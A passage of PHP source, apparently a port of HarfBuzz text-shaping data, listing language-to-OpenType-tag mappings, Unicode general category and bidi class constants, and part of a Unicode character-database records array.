d'Ivoire) */ 'es' => 'ESP ', /* Spanish */ 'et' => 'ETI ', /* Estonian */ 'eu' => 'EUQ ', /* Basque */ 'eve' => 'EVN ', /* Even */ 'evn' => 'EVK ', /* Evenki */ 'fa' => 'FAR ', /* Persian */ 'ff' => 'FUL ', /* Fulah */ 'fi' => 'FIN ', /* Finnish */ 'fil' => 'PIL ', /* Filipino */ 'fj' => 'FJI ', /* Fijian */ 'fo' => 'FOS ', /* Faroese */ 'fon' => 'FON ', /* Fon */ 'fr' => 'FRA ', /* French */ 'fur' => 'FRL ', /* Friulian */ 'fy' => 'FRI ', /* Western Frisian */ 'ga' => 'IRI ', /* Irish */ 'gaa' => 'GAD ', /* Ga */ 'gag' => 'GAG ', /* Gagauz */ 'gbm' => 'GAW ', /* Garhwali */ 'gd' => 'GAE ', /* Scottish Gaelic */ 'gez' => 'GEZ ', /* Ge'ez */ 'gl' => 'GAL ', /* Galician */ 'gld' => 'NAN ', /* Nanai */ 'gn' => 'GUA ', /* Guarani */ 'gon' => 'GON ', /* Gondi */ 'grt' => 'GRO ', /* Garo */ 'gru' => 'SOG ', /* Sodo Gurage */ 'gu' => 'GUJ ', /* Gujarati */ 'guk' => 'GMZ ', /* Gumuz */ 'gv' => 'MNX ', /* Manx Gaelic */ 'ha' => 'HAU ', /* Hausa */ 'har' => 'HRI ', /* Harari */ 'haw' => 'HAW ', /* Hawaiin */ 'he' => 'IWR ', /* Hebrew */ 'hi' => 'HIN ', /* Hindi */ 'hil' => 'HIL ', /* Hiligaynon */ 'hnd' => 'HND ', /* [Southern] Hindko */ 'hne' => 'CHH ', /* Chattisgarhi */ 'hno' => 'HND ', /* [Northern] Hindko */ 'hoc' => 'HO ', /* Ho */ 'hoj' => 'HAR ', /* Harauti */ 'hr' => 'HRV ', /* Croatian */ 'hsb' => 'USB ', /* Upper Sorbian */ 'ht' => 'HAI ', /* Haitian */ 'hu' => 'HUN ', /* Hungarian */ 'hy' => 'HYE ', /* Armenian */ 'id' => 'IND ', /* Indonesian */ 'ig' => 'IBO ', /* Igbo */ 'igb' => 'EBI ', /* Ebira */ 'ijo' => 'IJO ', /* Ijo [family] */ 'ilo' => 'ILO ', /* Ilokano */ 'inh' => 'ING ', /* Ingush */ 'is' => 'ISL ', /* Icelandic */ 'it' => 'ITA ', /* Italian */ 'iu' => 'INU ', /* Inuktitut */ 'ja' => 'JAN ', /* Japanese */ 'jv' => 'JAV ', /* Javanese */ 'ka' => 'KAT ', /* Georgian */ 'kaa' => 'KRK ', /* Karakalpak */ 'kam' => 'KMB ', /* Kamba (Kenya) */ 'kar' => 'KRN ', /* Karen [family] */ 'kbd' => 'KAB ', /* Kabardian */ 'kdr' => 'KRM ', /* Karaim */ 'kdt' => 'KUY ', /* Kuy */ 'kex' => 'KKN ', /* Kokni */ 'kfr' => 'KAC ', /* Kachchi */ 'kfy' => 'KMN ', /* Kumaoni */ 'kha' => 'KSI ', /* Khasi */ 'khb' => 'XBD ', /* Tai Lue */ 'khw' => 'KHW ', /* Khowar */ 'ki' => 'KIK ', /* Kikuyu */ 'kjh' => 'KHA ', /* Khakass */ 'kk' => 'KAZ ', /* Kazakh */ 'kl' => 'GRN ', /* Kalaallisut */ 'kln' => 'KAL ', /* Kalenjin */ 'km' => 'KHM ', /* Central Khmer */ 'kmb' => 'MBN ', /* [North] Mbundu */ 'kmw' => 'KMO ', /* Komo (Democratic Republic of Congo) */ 'kn' => 'KAN ', /* Kannada */ 'ko' => 'KOR ', /* Korean */ 'koi' => 'KOP ', /* Komi-Permyak */ 'kok' => 'KOK ', /* Konkani */ 'kpe' => 'KPL ', /* Kpelle */ 'kpv' => 'KOZ ', /* Komi-Zyrian */ 'kpy' => 'KYK ', /* Koryak */ 'kqy' => 'KRT ', /* Koorete */ 'kr' => 'KNR ', /* Kanuri */ 'kri' => 'KRI ', /* Krio */ 'krl' => 'KRL ', /* Karelian */ 'kru' => 'KUU ', /* Kurukh */ 'ks' => 'KSH ', /* Kashmiri */ 'ku' => 'KUR ', /* Kurdish */ 'kum' => 'KUM ', /* Kumyk */ 'kvd' => 'KUI ', /* Kui (Indonesia) */ 'kxc' => 'KMS ', /* Komso */ 'kxu' => 'KUI ', /* Kui (India) */ 'ky' => 'KIR ', /* Kirghiz */ 'la' => 'LAT ', /* Latin */ 'lad' => 'JUD ', /* Ladino */ 'lb' => 'LTZ ', /* Luxembourgish */ 'lbe' => 'LAK ', /* Lak */ 'lbj' => 'LDK ', /* Ladakhi */ 'lez' => 'LEZ ', /* Lezgi */ 'lg' => 'LUG ', /* Luganda */ 'lif' => 'LMB ', /* Limbu */ 'lld' => 'LAD ', /* Ladin */ 'lmn' => 'LAM ', /* Lambani */ 'ln' => 'LIN ', /* Lingala */ 'lo' => 'LAO ', /* Lao */ 'lt' => 'LTH ', /* Lithuanian */ 'lu' => 'LUB ', /* Luba-Katanga */ 'lua' => 'LUB ', /* Luba-Kasai */ 'luo' => 'LUO ', /* Luo (Kenya and Tanzania) */ 'lus' => 'MIZ ', /* Mizo */ 'luy' => 'LUH ', /* Luhya [macrolanguage] */ 'lv' => 'LVI ', /* Latvian */ 'lzz' => 'LAZ ', /* Laz */ 'mai' => 'MTH ', /* Maithili */ 'mdc' => 'MLE ', /* Male (Papua New Guinea) */ 'mdf' => 'MOK ', /* Moksha */ 'mdy' => 'MLE ', /* Male (Ethiopia) */ 'men' => 'MDE ', /* Mende (Sierra Leone) */ 'mg' => 'MLG ', /* Malagasy */ 'mhr' => 'LMA ', /* Low Mari */ 'mi' => 'MRI ', /* Maori */ 'mk' => 'MKD ', /* Macedonian */ 'ml' => 'MLR ', /* Malayalam reformed (MAL is Malayalam Traditional) */ 'mn' => 'MNG ', /* Mongolian */ 'mnc' => 'MCH ', /* Manchu */ 'mni' => 'MNI ', /* Manipuri */ 'mnk' => 'MND ', /* Mandinka */ 'mns' => 'MAN ', /* Mansi */ 'mnw' => 'MON ', /* Mon */ 'mo' => 'MOL ', /* Moldavian */ 'moh' => 'MOH ', /* Mohawk */ 'mpe' => 'MAJ ', /* Majang */ 'mr' => 'MAR ', /* Marathi */ 'mrj' => 'HMA ', /* High Mari */ 'ms' => 'MLY ', /* Malay */ 'mt' => 'MTS ', /* Maltese */ 'mwr' => 'MAW ', /* Marwari */ 'my' => 'BRM ', /* Burmese */ 'mym' => 'MEN ', /* Me'en */ 'myv' => 'ERZ ', /* Erzya */ 'nag' => 'NAG ', /* Naga-Assamese */ 'nb' => 'NOR ', /* Norwegian BokmÃ¥l */ 'nco' => 'SIB ', /* Sibe */ 'nd' => 'NDB ', /* [North] Ndebele */ 'ne' => 'NEP ', /* Nepali */ 'new' => 'NEW ', /* Newari */ 'ng' => 'NDG ', /* Ndonga */ 'ngl' => 'LMW ', /* Lomwe */ 'niu' => 'NIU ', /* Niuean */ 'niv' => 'GIL ', /* Gilyak */ 'nl' => 'NLD ', /* Dutch */ 'nn' => 'NYN ', /* Norwegian Nynorsk */ 'no' => 'NOR ', /* Norwegian (deprecated) */ 'nod' => 'NTA ', /* Northern Tai */ 'nog' => 'NOG ', /* Nogai */ 'nqo' => 'NKO ', /* N'Ko */ 'nr' => 'NDB ', /* [South] Ndebele */ 'nsk' => 'NAS ', /* Naskapi */ 'nso' => 'SOT ', /* [Northern] Sotho */ 'ny' => 'CHI ', /* Nyanja */ 'nyn' => 'NKL ', /* Nkole */ 'oc' => 'OCI ', /* Occitan (post 1500) */ 'oj' => 'OJB ', /* Ojibwa */ 'ojs' => 'OCR ', /* Oji-Cree */ 'om' => 'ORO ', /* Oromo */ 'or' => 'ORI ', /* Oriya */ 'os' => 'OSS ', /* Ossetian */ 'pa' => 'PAN ', /* Panjabi */ 'pce' => 'PLG ', /* [Ruching] Palaung */ 'pi' => 'PAL ', /* Pali */ 'pl' => 'PLK ', /* Polish */ 'pll' => 'PLG ', /* [Shwe] Palaung */ 'plp' => 'PAP ', /* Palpa */ 'prs' => 'DRI ', /* Dari */ 'ps' => 'PAS ', /* Pushto */ 'pt' => 'PTG ', /* Portuguese */ 'raj' => 'RAJ ', /* Rajasthani */ 'rbb' => 'PLG ', /* [Rumai] Palaung */ 'ria' => 'RIA ', /* Riang (India) */ 'ril' => 'RIA ', /* Riang (Myanmar) */ 'rki' => 'ARK ', /* Arakanese */ 'rm' => 'RMS ', /* Rhaeto-Romanic */ 'ro' => 'ROM ', /* Romanian */ 'rom' => 'ROY ', /* Romany */ 'ru' => 'RUS ', /* Russian */ 'rue' => 'RSY ', /* Rusyn */ 'rw' => 'RUA ', /* Ruanda */ 'sa' => 'SAN ', /* Sanskrit */ 'sah' => 'YAK ', /* Yakut */ 'sat' => 'SAT ', /* Santali */ 'sck' => 'SAD ', /* Sadri */ 'scs' => 'SLA ', /* [North] Slavey */ 'sd' => 'SND ', /* Sindhi */ 'se' => 'NSM ', /* Northern Sami */ 'seh' => 'SNA ', /* Sena */ 'sel' => 'SEL ', /* Selkup */ 'sg' => 'SGO ', /* Sango */ 'shn' => 'SHN ', /* Shan */ 'si' => 'SNH ', /* Sinhala */ 'sid' => 'SID ', /* Sidamo */ 'sjd' => 'KSM ', /* Kildin Sami */ 'sk' => 'SKY ', /* Slovak */ 'skr' => 'SRK ', /* Seraiki */ 'sl' => 'SLV ', /* Slovenian */ 'sm' => 'SMO ', /* Samoan */ 'sma' => 'SSM ', /* Southern Sami */ 'smj' => 'LSM ', /* Lule Sami */ 'smn' => 'ISM ', /* Inari Sami */ 'sms' => 'SKS ', /* Skolt Sami */ 'snk' => 'SNK ', /* Soninke */ 'so' => 'SML ', /* Somali */ 'sq' => 'SQI ', /* Albanian */ 'sr' => 'SRB ', /* Serbian */ 'srr' => 'SRR ', /* Serer */ 'ss' => 'SWZ ', /* Swazi */ 'st' => 'SOT ', /* [Southern] Sotho */ 'suq' => 'SUR ', /* Suri */ 'sv' => 'SVE ', /* Swedish */ 'sva' => 'SVA ', /* Svan */ 'sw' => 'SWK ', /* Swahili */ 'swb' => 'CMR ', /* Comorian */ 'syr' => 'SYR ', /* Syriac */ 'ta' => 'TAM ', /* Tamil */ 'tab' => 'TAB ', /* Tabasaran */ 'tcy' => 'TUL ', /* Tulu */ 'te' => 'TEL ', /* Telugu */ 'tem' => 'TMN ', /* Temne */ 'tg' => 'TAJ ', /* Tajik */ 'th' => 'THA ', /* Thai */ 'ti' => 'TGY ', /* Tigrinya */ 'tig' => 'TGR ', /* Tigre */ 'tk' => 'TKM ', /* Turkmen */ 'tn' => 'TNA ', /* Tswana */ 'to' => 'TGN ', /* Tonga (Tonga Islands) */ 'tr' => 'TRK ', /* Turkish */ 'tru' => 'TUA ', /* Turoyo Aramaic */ 'ts' => 'TSG ', /* Tsonga */ 'tt' => 'TAT ', /* Tatar */ 'tw' => 'TWI ', /* Twi */ 'ty' => 'THT ', /* Tahitian */ 'tyv' => 'TUV ', /* Tuvin */ 'udm' => 'UDM ', /* Udmurt */ 'ug' => 'UYG ', /* Uighur */ 'uk' => 'UKR ', /* Ukrainian */ 'umb' => 'MBN ', /* [South] Mbundu */ 'unr' => 'MUN ', /* Mundari */ 'ur' => 'URD ', /* Urdu */ 'uz' => 'UZB ', /* Uzbek */ 've' => 'VEN ', /* Venda */ 'vi' => 'VIT ', /* Vietnamese */ 'vmw' => 'MAK ', /* Makua */ 'wbm' => 'WA ', /* Wa */ 'wbr' => 'WAG ', /* Wagdi */ 'wo' => 'WLF ', /* Wolof */ 'xal' => 'KLM ', /* Kalmyk */ 'xh' => 'XHS ', /* Xhosa */ 'xom' => 'KMO ', /* Komo (Sudan) */ 'xsl' => 'SSL ', /* South Slavey */ 'yi' => 'JII ', /* Yiddish */ 'yid' => 'JII ', /* Yiddish */ 'yo' => 'YBA ', /* Yoruba */ 'yso' => 'NIS ', /* Nisi (China) */ 'zne' => 'ZND ', /* Zande */ 'zu' => 'ZUL ', /* Zulu */ 'zh-cn' => 'ZHS ', /* Chinese (China) */ 'zh-hk' => 'ZHH ', /* Chinese (Hong Kong) */ 'zh-mo' => 'ZHT ', /* Chinese (Macao) */ 'zh-sg' => 'ZHS ', /* Chinese (Singapore) */ 'zh-tw' => 'ZHT ', /* Chinese (Taiwan) */ ]; // hb-unicode.h const UNICODE_GENERAL_CATEGORY_CONTROL = 0; /* Cc */ const UNICODE_GENERAL_CATEGORY_FORMAT = 1; /* Cf */ const UNICODE_GENERAL_CATEGORY_UNASSIGNED = 2; /* Cn */ const UNICODE_GENERAL_CATEGORY_PRIVATE_USE = 3; /* Co */ const UNICODE_GENERAL_CATEGORY_SURROGATE = 4; /* Cs */ const UNICODE_GENERAL_CATEGORY_LOWERCASE_LETTER = 5; /* Ll */ const UNICODE_GENERAL_CATEGORY_MODIFIER_LETTER = 6; /* Lm */ const UNICODE_GENERAL_CATEGORY_OTHER_LETTER = 7; /* Lo */ const UNICODE_GENERAL_CATEGORY_TITLECASE_LETTER = 8; /* Lt */ const UNICODE_GENERAL_CATEGORY_UPPERCASE_LETTER = 9; /* Lu */ const UNICODE_GENERAL_CATEGORY_SPACING_MARK = 10; /* Mc */ const UNICODE_GENERAL_CATEGORY_ENCLOSING_MARK = 11; /* Me */ const UNICODE_GENERAL_CATEGORY_NON_SPACING_MARK = 12; /* Mn */ const UNICODE_GENERAL_CATEGORY_DECIMAL_NUMBER = 13; /* Nd */ const UNICODE_GENERAL_CATEGORY_LETTER_NUMBER = 14; /* Nl */ const UNICODE_GENERAL_CATEGORY_OTHER_NUMBER = 15; /* No */ const UNICODE_GENERAL_CATEGORY_CONNECT_PUNCTUATION = 16; /* Pc */ const UNICODE_GENERAL_CATEGORY_DASH_PUNCTUATION = 17; /* Pd */ const UNICODE_GENERAL_CATEGORY_CLOSE_PUNCTUATION = 18; /* Pe */ const UNICODE_GENERAL_CATEGORY_FINAL_PUNCTUATION = 19; /* Pf */ const UNICODE_GENERAL_CATEGORY_INITIAL_PUNCTUATION = 20; /* Pi */ const UNICODE_GENERAL_CATEGORY_OTHER_PUNCTUATION = 21; /* Po */ const UNICODE_GENERAL_CATEGORY_OPEN_PUNCTUATION = 22; /* Ps */ const UNICODE_GENERAL_CATEGORY_CURRENCY_SYMBOL = 23; /* Sc */ const UNICODE_GENERAL_CATEGORY_MODIFIER_SYMBOL = 24; /* Sk */ const UNICODE_GENERAL_CATEGORY_MATH_SYMBOL = 25; /* Sm */ const UNICODE_GENERAL_CATEGORY_OTHER_SYMBOL = 26; /* So */ const UNICODE_GENERAL_CATEGORY_LINE_SEPARATOR = 27; /* Zl */ const UNICODE_GENERAL_CATEGORY_PARAGRAPH_SEPARATOR = 28; /* Zp */ const UNICODE_GENERAL_CATEGORY_SPACE_SEPARATOR = 29; /* Zs */ function general_category_is_mark($gen_cat) { return $gen_cat == self::UNICODE_GENERAL_CATEGORY_SPACING_MARK || $gen_cat == self::UNICODE_GENERAL_CATEGORY_ENCLOSING_MARK || $gen_cat == self::UNICODE_GENERAL_CATEGORY_NON_SPACING_MARK; // define UNICODE_GENERAL_CATEGORY_IS_MARK(gen_cat) //if (FLAG(gen_cat) & (FLAG(UNICODE_GENERAL_CATEGORY_SPACING_MARK) | FLAG(UNICODE_GENERAL_CATEGORY_ENCLOSING_MARK) | FLAG(UNICODE_GENERAL_CATEGORY_NON_SPACING_MARK))) { return true; } } const BIDI_CLASS_L = 0; const BIDI_CLASS_LRE = 1; const BIDI_CLASS_LRO = 2; const BIDI_CLASS_R = 3; const BIDI_CLASS_AL = 4; const BIDI_CLASS_RLE = 5; const BIDI_CLASS_RLO = 6; const BIDI_CLASS_PDF = 7; const BIDI_CLASS_EN = 8; const BIDI_CLASS_ES = 9; const BIDI_CLASS_ET = 10; const BIDI_CLASS_AN = 11; const BIDI_CLASS_CS = 12; const BIDI_CLASS_NSM = 13; const BIDI_CLASS_BN = 14; const BIDI_CLASS_B = 15; const BIDI_CLASS_S = 16; const BIDI_CLASS_WS = 17; const BIDI_CLASS_ON = 18; // UNIDATA_VERSION 6.2.0 /* a list of unique database records */ /* struct { category; combining; bidi_class; mirrored; east_asian_width; normalization_check; script; } */ private static $ucd_records = [ [2, 0, 18, 0, 5, 0, 102], [0, 0, 14, 0, 5, 0, 0], [0, 0, 16, 0, 5, 0, 0], [0, 0, 15, 0, 5, 0, 0], [0, 0, 17, 0, 5, 0, 0], [29, 0, 17, 0, 3, 0, 0], [21, 0, 18, 0, 3, 0, 0], [21, 0, 10, 0, 3, 0, 0], [23, 0, 10, 0, 3, 0, 0], [22, 0, 18, 1, 3, 0, 0], [18, 0, 18, 1, 3, 0, 0], [25, 0, 9, 0, 3, 0, 0], [21, 0, 12, 0, 3, 0, 0], [17, 0, 9, 0, 3, 0, 0], [13, 0, 8, 0, 3, 0, 0], [25, 0, 18, 1, 3, 0, 0], [25, 0, 18, 0, 3, 0, 0], [9, 0, 0, 0, 3, 0, 1], [24, 0, 18, 0, 3, 0, 0], [16, 0, 18, 0, 3, 0, 0], [5, 0, 0, 0, 3, 0, 1], [29, 0, 12, 0, 5, 0, 0], [21, 0, 18, 0, 4, 0, 0], [23, 0, 10, 0, 4, 0, 0], [26, 0, 18, 0, 3, 0, 0], [24, 0, 18, 0, 4, 0, 0], [26, 0, 18, 0, 5, 0, 0], [7, 0, 0, 0, 4, 0, 1], [20, 0, 18, 1, 5, 0, 0], [1, 0, 14, 0, 4, 0, 0], [26, 0, 18, 0, 4, 0, 0], [26, 0, 10, 0, 4, 0, 0], [25, 0, 10, 0, 4, 0, 0], [15, 0, 8, 0, 4, 0, 0], [5, 0, 0, 0, 5, 0, 0], [19, 0, 18, 1, 5, 0, 0], [15, 0, 18, 0, 4, 0, 0], [9, 0, 0, 0, 5, 0, 1], [9, 0, 0, 0, 4, 0, 1], [25, 0, 18, 0, 4, 0, 0], [5, 0, 0, 0, 4, 0, 1], [5, 0, 0, 0, 5, 0, 1], [7, 0, 0, 0, 5, 0, 1], [8, 0, 0, 0, 5, 0, 1], [6, 0, 0, 0, 5, 0, 1], [6, 0, 18, 0, 5, 0, 0], [6, 0, 0, 0, 5, 0, 0], [24, 0, 18, 0, 5, 0, 0], [6, 0, 18, 0, 4, 0, 0], [6, 0, 0, 0, 4, 0, 0], [24, 0, 18, 0, 5, 0, 34], [12, 230, 13, 0, 4, 0, 40], [12, 232, 13, 0, 4, 0, 40], [12, 220, 13, 0, 4, 0, 40], [12, 216, 13, 0, 4, 0, 40], [12, 202, 13, 0, 4, 0, 40], [12, 1, 13, 0, 4, 0, 40], [12, 240, 13, 0, 4, 0, 40], [12, 0, 13, 0, 4, 0, 40], [12, 233, 13, 0, 4, 0, 40], [12, 234, 13, 0, 4, 0, 40], [9, 0, 0, 0, 5, 0, 2], [5, 0, 0, 0, 5, 0, 2], [24, 0, 18, 0, 5, 0, 2], [2, 0, 18, 0, 5, 0, 102], [6, 0, 0, 0, 5, 0, 2], [21, 0, 18, 0, 5, 0, 0], [9, 0, 0, 0, 4, 0, 2], [5, 0, 0, 0, 4, 0, 2], [9, 0, 0, 0, 5, 0, 54], [5, 0, 0, 0, 5, 0, 54], [25, 0, 18, 0, 5, 0, 2], [9, 0, 0, 0, 5, 0, 3], [9, 0, 0, 0, 4, 0, 3], [5, 0, 0, 0, 4, 0, 3], [5, 0, 0, 0, 5, 0, 3], [26, 0, 0, 0, 5, 0, 3], [12, 230, 13, 0, 5, 0, 3], [12, 230, 13, 0, 5, 0, 40], [11, 0, 13, 0, 5, 0, 3], [9, 0, 0, 0, 5, 0, 4], [6, 0, 0, 0, 5, 0, 4], [21, 0, 0, 0, 5, 0, 4], [5, 0, 0, 0, 5, 0, 4], [21, 0, 0, 0, 5, 0, 0], [17, 0, 18, 0, 5, 0, 4], [23, 0, 10, 0, 5, 0, 4], [12, 220, 13, 0, 5, 0, 5], [12, 230, 13, 0, 5, 0, 5], [12, 222, 13, 0, 5, 0, 5], [12, 228, 13, 0, 5, 0, 5], [12, 10, 13, 0, 5, 0, 5], [12, 11, 13, 0, 5, 0, 5], [12, 12, 13, 0, 5, 0, 5], [12, 13, 13, 0, 5, 0, 5], [12, 14, 13, 0, 5, 0, 5], [12, 15, 13, 0, 5, 0, 5], [12, 16, 13, 0, 5, 0, 5], [12, 17, 13, 0, 5, 0, 5], [12, 18, 13, 0, 5, 0, 5], [12, 19, 13, 0, 5, 0, 5], [12, 20, 13, 0, 5, 0, 5], [12, 21, 13, 0, 5, 0, 5], [12, 22, 13, 0, 5, 0, 5], [17, 0, 3, 0, 5, 0, 5], [12, 23, 13, 0, 5, 0, 5], [21, 0, 3, 0, 5, 0, 5], [12, 24, 13, 0, 5, 0, 5], [12, 25, 13, 0, 5, 0, 5], [7, 0, 3, 0, 5, 0, 5], [1, 0, 11, 0, 5, 0, 6], [25, 0, 18, 0, 5, 0, 6], [25, 0, 4, 0, 5, 0, 6], [21, 0, 10, 0, 5, 0, 6], [23, 0, 4, 0, 5, 0, 6], [21, 0, 12, 0, 5, 0, 0], [21, 0, 4, 0, 5, 0, 6], [26, 0, 18, 0, 5, 0, 6], [12, 230, 13, 0, 5, 0, 6], [12, 30, 13, 0, 5, 0, 6], [12, 31, 13, 0, 5, 0, 6], [12, 32, 13, 0, 5, 0, 6], [21, 0, 4, 0, 5, 0, 0], [7, 0, 4, 0, 5, 0, 6], [6, 0, 4, 0, 5, 0, 0], [12, 27, 13, 0, 5, 0, 40], [12, 28, 13, 0, 5, 0, 40], [12, 29, 13, 0, 5, 0, 40], [12, 30, 13, 0, 5, 0, 40], [12, 31, 13, 0, 5, 0, 40], [12, 32, 13, 0, 5, 0, 40], [12, 33, 13, 0, 5, 0, 40], [12, 34, 13, 0, 5, 0, 40], [12, 220, 13, 0, 5, 0, 40], [12, 220, 13, 0, 5, 0, 6], [13, 0, 11, 0, 5, 0, 0], [21, 0, 11, 0, 5, 0, 6], [12, 35, 13, 0, 5, 0, 40], [1, 0, 11, 0, 5, 0, 0], [6, 0, 4, 0, 5, 0, 6], [13, 0, 8, 0, 5, 0, 6], [26, 0, 4, 0, 5, 0, 6], [21, 0, 4, 0, 5, 0, 7], [1, 0, 4, 0, 5, 0, 7], [7, 0, 4, 0, 5, 0, 7], [12, 36, 13, 0, 5, 0, 7], [12, 230, 13, 0, 5, 0, 7], [12, 220, 13, 0, 5, 0, 7], [7, 0, 4, 0, 5, 0, 8], [12, 0, 13, 0, 5, 0, 8], [13, 0, 3, 0, 5, 0, 65], [7, 0, 3, 0, 5, 0, 65], [12, 230, 13, 0, 5, 0, 65], [12, 220, 13, 0, 5, 0, 65], [6, 0, 3, 0, 5, 0, 65], [26, 0, 18, 0, 5, 0, 65], [21, 0, 18, 0, 5, 0, 65], [7, 0, 3, 0, 5, 0, 81], [12, 230, 13, 0, 5, 0, 81], [6, 0, 3, 0, 5, 0, 81], [21, 0, 3, 0, 5, 0, 81], [7, 0, 3, 0, 5, 0, 94], [12, 220, 13, 0, 5, 0, 94], [21, 0, 3, 0, 5, 0, 94], [12, 27, 13, 0, 5, 0, 6], [12, 28, 13, 0, 5, 0, 6], [12, 29, 13, 0, 5, 0, 6], [12, 0, 13, 0, 5, 0, 9], [10, 0, 0, 0, 5, 0, 9], [7, 0, 0, 0, 5, 0, 9], [12, 7, 13, 0, 5, 0, 9], [12, 9, 13, 0, 5, 0, 9], [12, 230, 13, 0, 5, 0, 9], [13, 0, 0, 0, 5, 0, 9], [21, 0, 0, 0, 5, 0, 9], [6, 0, 0, 0, 5, 0, 9], [12, 0, 13, 0, 5, 0, 10], [10, 0, 0, 0, 5, 0, 10], [7, 0, 0, 0, 5, 0, 10], [12, 7, 13, 0, 5, 0, 10], [12, 9, 13, 0, 5, 0, 10], [13, 0, 0, 0, 5, 0, 10], [23, 0, 10, 0, 5, 0, 10], [15, 0, 0, 0, 5, 0, 10], [26, 0, 0, 0, 5, 0, 10], [12, 0, 13, 0, 5, 0, 11], [10, 0, 0, 0, 5, 0, 11], [7, 0, 0, 0, 5, 0, 11], [12, 7, 13, 0, 5, 0, 11], [12, 9, 13, 0, 5, 0, 11], [13, 0, 0, 0, 5, 0, 11], [12, 0, 13, 0, 5, 0, 12], [10, 0, 0, 0, 5, 0, 12], [7, 0, 0, 0, 5, 0, 12], [12, 7, 13, 0, 5, 0, 12], [12, 9, 13, 0, 5, 0, 12], [13, 0, 0, 0, 5, 0, 12], [21, 0, 0, 0, 5, 0, 12], [23, 0, 10, 0, 5, 0, 12], [12, 0, 13, 0, 5, 0, 13], [10, 0, 0, 0, 5, 0, 13], [7, 0, 0, 0, 5, 0, 13], [12, 7, 13, 0, 5, 0, 13], [12, 9, 13, 0, 5, 0, 13], [13, 0, 0, 0, 5, 0, 13], [26, 0, 0, 0, 5, 0, 13], [15, 0, 0, 0, 5, 0, 13], [12, 0, 13, 0, 5, 0, 14], [7, 0, 0, 0, 5, 0, 14], [10, 0, 0, 0, 5, 0, 14], [12, 9, 13, 0, 5, 0, 14], [13, 0, 0, 0, 5, 0, 14], [15, 0, 0, 0, 5, 0, 14], [26, 0, 18, 0, 5, 0, 14], [23, 0, 10, 0, 5, 0, 14], [10, 0, 0, 0, 5, 0, 15], [7, 0, 0, 0, 5, 0, 15], [12, 0, 13, 0, 5, 0, 15], [12, 9, 13, 0, 5, 0, 15], [12, 84, 13, 0, 5, 0, 15], [12, 91, 13, 0, 5, 0, 15], [13, 0, 0, 0, 5, 0, 15], [15, 0, 18, 0, 5, 0, 15], [26, 0, 0, 0, 5, 0, 15], [10, 0, 0, 0, 5, 0, 16], [7, 0, 0, 0, 5, 0, 16], [12, 7, 13, 0, 5, 0, 16], [12, 0, 0, 0, 5, 0, 16], [12, 0, 13, 0, 5, 0, 16], [12, 9, 13, 0, 5, 0, 16], [13, 0, 0, 0, 5, 0, 16], [10, 0, 0, 0, 5, 0, 17], [7, 0, 0, 0, 5, 0, 17], [12, 0, 13, 0, 5, 0, 17], [12, 9, 13, 0, 5, 0, 17], [13, 0, 0, 0, 5, 0, 17], [15, 0, 0, 0, 5, 0, 17], [26, 0, 0, 0, 5, 0, 17], [10, 0, 0, 0, 5, 0, 18], [7, 0, 0, 0, 5, 0, 18], [12, 9, 13, 0, 5, 0, 18], [12, 0, 13, 0, 5, 0, 18], [21, 0, 0, 0, 5, 0, 18], [7, 0, 0, 0, 5, 0, 19], [12, 0, 13, 0, 5, 0, 19], [12, 103, 13, 0, 5, 0, 19], [12, 9, 13, 0, 5, 0, 19], [23, 0, 10, 0, 5, 0, 0], [6, 0, 0, 0, 5, 0, 19], [12, 107, 13, 0, 5, 0, 19], [21, 0, 0, 0, 5, 0, 19], [13, 0, 0, 0, 5, 0, 19], [7, 0, 0, 0, 5, 0, 20], [12, 0, 13, 0, 5, 0, 20], [12, 118, 13, 0, 5, 0, 20], [6, 0, 0, 0, 5, 0, 20], [12, 122, 13, 0, 5, 0, 20], [13, 0, 0, 0, 5, 0, 20], [7, 0, 0, 0, 5, 0, 21], [26, 0, 0, 0, 5, 0, 21], [21, 0, 0, 0, 5, 0, 21], [12, 220, 13, 0, 5, 0, 21], [13, 0, 0, 0, 5, 0, 21], [15, 0, 0, 0, 5, 0, 21], [12, 216, 13, 0, 5, 0, 21], [22, 0, 18, 1, 5, 0, 21], [18, 0, 18, 1, 5, 0, 21], [10, 0, 0, 0, 5, 0, 21], [12, 129, 13, 0, 5, 0, 21], [12, 130, 13, 0, 5, 0, 21], [12, 0, 13, 0, 5, 0, 21], [12, 132, 13, 0, 5, 0, 21], [12, 230, 13, 0, 5, 0, 21], [12, 9, 13, 0, 5, 0, 21], [26, 0, 0, 0, 5, 0, 0], [7, 0, 0, 0, 5, 0, 22], [10, 0, 0, 0, 5, 0, 22], [12, 0, 13, 0, 5, 0, 22], [12, 7, 13, 0, 5, 0, 22], [12, 9, 13, 0, 5, 0, 22], [13, 0, 0, 0, 5, 0, 22], [21, 0, 0, 0, 5, 0, 22], [12, 220, 13, 0, 5, 0, 22], [26, 0, 0, 0, 5, 0, 22], [9, 0, 0, 0, 5, 0, 23], [7, 0, 0, 0, 5, 0, 23], [6, 0, 0, 0, 5, 0, 23], [7, 0, 0, 0, 2, 0, 24], [7, 0, 0, 0, 5, 0, 24], [7, 0, 0, 0, 5, 0, 25], [12, 230, 13, 0, 5, 0, 25], [21, 0, 0, 0, 5, 0, 25], [15, 0, 0, 0, 5, 0, 25], [26, 0, 18, 0, 5, 0, 25], [7, 0, 0, 0, 5, 0, 26], [17, 0, 18, 0, 5, 0, 27], [7, 0, 0, 0, 5, 0, 27], [21, 0, 0, 0, 5, 0, 27], [29, 0, 17, 0, 5, 0, 28], [7, 0, 0, 0, 5, 0, 28], [22, 0, 18, 1, 5, 0, 28], [18, 0, 18, 1, 5, 0, 28], [7, 0, 0, 0, 5, 0, 29], [14, 0, 0, 0, 5, 0, 29], [7, 0, 0, 0, 5, 0, 41], [12, 0, 13, 0, 5, 0, 41], [12, 9, 13, 0, 5, 0, 41], [7, 0, 0, 0, 5, 0, 42], [12, 0, 13, 0, 5, 0, 42], [12, 9, 13, 0, 5, 0, 42], [7, 0, 0, 0, 5, 0, 43], [12, 0, 13, 0, 5, 0, 43], [7, 0, 0, 0, 5, 0, 44], [12, 0, 13, 0, 5, 0, 44], [7, 0, 0, 0, 5, 0, 30], [12, 0, 13, 0, 5, 0, 30], [10, 0, 0, 0, 5, 0, 30], [12, 9, 13, 0, 5, 0, 30], [21, 0, 0, 0, 5, 0, 30], [6, 0, 0, 0, 5, 0, 30], [23, 0, 10, 0, 5, 0, 30], [12, 230, 13, 0, 5, 0, 30], [13, 0, 0, 0, 5, 0, 30], [15, 0, 18, 0, 5, 0, 30], [21, 0, 18, 0, 5, 0, 31], [17, 0, 18, 0, 5, 0, 31], [12, 0, 13, 0, 5, 0, 31], [29, 0, 17, 0, 